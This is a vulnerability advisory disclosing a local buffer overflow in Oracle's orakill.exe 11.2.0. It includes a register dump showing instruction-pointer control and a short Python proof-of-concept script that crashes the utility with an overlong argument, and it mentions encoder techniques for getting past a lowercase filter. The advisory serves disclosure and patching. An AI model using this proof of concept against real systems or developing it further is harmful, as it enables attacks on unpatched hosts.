Oracle Orakill.exe 11.2.0 Buffer Overflow

`[+] Credits: hyp3rlinx  
  
[+] Website: hyp3rlinx.altervista.org  
  
[+] Source:  
http://hyp3rlinx.altervista.org/advisories/ORACLE-ORAKILL.EXE-BUFFER-OVERFLOW.txt  
  
[+] ISR: apparitionsec  
  
  
  
Vendor:  
==============  
www.oracle.com  
  
  
  
Product:  
===================  
orakill.exe v11.2.0  
  
  
The orakill utility is provided with Oracle databases on Windows platforms.  
The executable (orakill.exe) is available to DBAs to kill Oracle  
sessions directly from the DOS command line without requiring any  
connection to the database.  
  
  
C:\oraclexe\app\oracle\product\11.2.0\server\bin>orakill.exe -h  
  
Usage: orakill sid thread  
  
where sid = the Oracle instance to target  
thread = the thread id of the thread to kill  
  
The thread id should be retrieved from the spid column of a query such as:  
  
select spid, osuser, s.program from  
v$process p, v$session s where p.addr=s.paddr  
  
  
  
  
Vulnerability Type:  
===================  
Buffer Overflow  
  
  
  
Reference:  
==========  
http://www.oracle.com/technetwork/security-advisory/cpuapr2016v3-2985753.html  
  
  
  
Vulnerability Details:  
=====================  
  
ToLower() filter being applied to supplied arguments e.g. 'A' \x41 beomes  
'a' \x61 etc... may be possible to subvert using encoder  
technique like "ALPHA3". Also we need to supply a second argument of just 4  
bytes to trigger the access violation.  
  
orakill.exe <104 bytes>, <4 bytes>  
  
Register dump.  
  
EAX 40000000  
ECX 0018FCA8 ASCII  
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarrrr"  
EDX 00000000  
EBX 61616161  
ESP 0018FD10 ASCII  
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaarrrr"  
EBP 61616161  
ESI 61616161  
EDI 61616161  
EIP 61616161  
C 0 ES 002B 32bit 0(FFFFFFFF)  
P 0 CS 0023 32bit 0(FFFFFFFF)  
A 0 SS 002B 32bit 0(FFFFFFFF)  
Z 0 DS 002B 32bit 0(FFFFFFFF)  
S 0 FS 0053 32bit 7EFDD000(FFF)  
T 0 GS 002B 32bit 0(FFFFFFFF)  
D 0  
O 0 LastErr ERROR_SUCCESS (00000000)  
EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G)  
ST0 empty g  
ST1 empty g  
ST2 empty g  
ST3 empty g  
ST4 empty g  
ST5 empty g  
ST6 empty g  
ST7 empty g  
3 2 1 0 E S P U O Z D I  
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)  
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1  
  
  
  
Exploit code(s):  
================  
  
import subprocess  
  
pgm="C:\\oraclexe\\app\\oracle\\product\\11.2.0\\server\\bin\\orakill.exe "  
  
payload="A"*100 + "RRRR"  
subprocess.Popen([pgm, payload, " BBBB"], shell=False)  
  
  
  
  
Disclosure Timeline:  
====================================  
Vendor Notification: October 5, 2015  
Vendor Fix: April 25, 2016  
June 13, 2016 : Public Disclosure  
  
  
  
Exploitation Technique:  
=======================  
Local  
  
  
  
Severity Level:  
================  
Low  
  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no  
warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory,  
provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in  
vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the  
information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author  
prohibits any malicious use of security related information  
or exploits by the author or elsewhere.  
  
hyp3rlinx  
`